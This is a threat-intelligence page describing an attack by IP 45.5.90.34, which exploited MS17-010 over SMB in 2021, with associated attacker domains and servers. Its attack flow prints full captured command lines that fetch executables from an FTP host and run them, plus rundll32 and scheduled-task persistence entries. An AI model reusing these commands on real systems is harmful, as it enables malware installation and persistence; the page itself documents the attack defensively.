Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 45.5.90.34Previously Malicious

IP Address: 45.5.90.34Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

DNS Query PowerShell Service Configuration Download and Execute Persistency - Image Hijack Access Suspicious Domain MS17-010 File Operation By CMD System File Modification Known Malware Scheduled Task Creation Outgoing Connection Listening HTTP Download File CMD IDS - Attempted Administrator Privilege Gain SMB Null Session Login SMB

Associated Attack Servers

shell.loader0324.site shell.loader0807.site

77.73.69.34 103.106.250.161

Basic Information

IP Address

45.5.90.34

Domain

-

ISP

F Dos S Bezerra Pontes - Me

Country

Brazil

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2021-04-16

Last seen in Akamai Guardicore Segmentation

2021-04-26

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected Attempted Administrator Privilege Gain : Windows SMB remote code execution attempt

IDS - Attempted Administrator Privilege Gain

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

The machine was exploited using the ms17-010 vulnerability

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 103.106.250.161:8161, 104.233.207.172:8172, 139.5.177.32:8032, 77.73.69.34:80 and 77.73.69.34:8034

Outgoing Connection

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: neachers.com, shell.loader0324.site and shell.loader0807.site

DNS Query Access Suspicious Domain Outgoing Connection

The command line c:\windows\temp\conhoy.exe was scheduled to run by modifying C:\Windows\System32\Tasks\MicrosoftsWindowsy

System file C:\windows\Temp\wmia.bat was modified 4 times

System File Modification

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified

System File Modification

System file C:\windows\Temp\ntuser.dat was modified 4 times

System File Modification

The file c:\windows\temp\conhoy.exe was downloaded and executed 11 times

Download and Execute

System file c:\windows\debug\item.dat was modified 4 times

System File Modification

C:\windows\Temp\wmia.bat was downloaded

Download File

c:\windows\temp\u.exe was downloaded

Download File

C:\windows\Temp\ntuser.dat was downloaded

Download File

Process c:\windows\temp\u.exe generated outgoing network traffic to: 172.83.155.170:80

Outgoing Connection

c:\windows\debug\item.dat was downloaded

Download File

The file C:\Windows\Inf\aspnet\lsma12.exe was downloaded and executed

Download and Execute

Process c:\windows\inf\aspnet\lsma12.exe started listening on ports: 32832

Listening

The file C:\Windows\System\msinfo.exe was downloaded and executed

Download and Execute

The file C:\Windows\SysWOW64\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\Windows\SysWOW64\npptools.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The command line cmd /c echo open ftp.ftp0810.ru>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa

The command line rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa1

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa2

The command line cmd /c echo open ftp.ftp0810.ru>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa3

The command line rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\ok

The command line c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\Windows\System32\Tasks\oka

c:\windows\syswow64\cacls.exe set the command line ntsd -d to run using Persistency - Image Hijack 3 times

Persistency - Image Hijack

Connection was closed due to timeout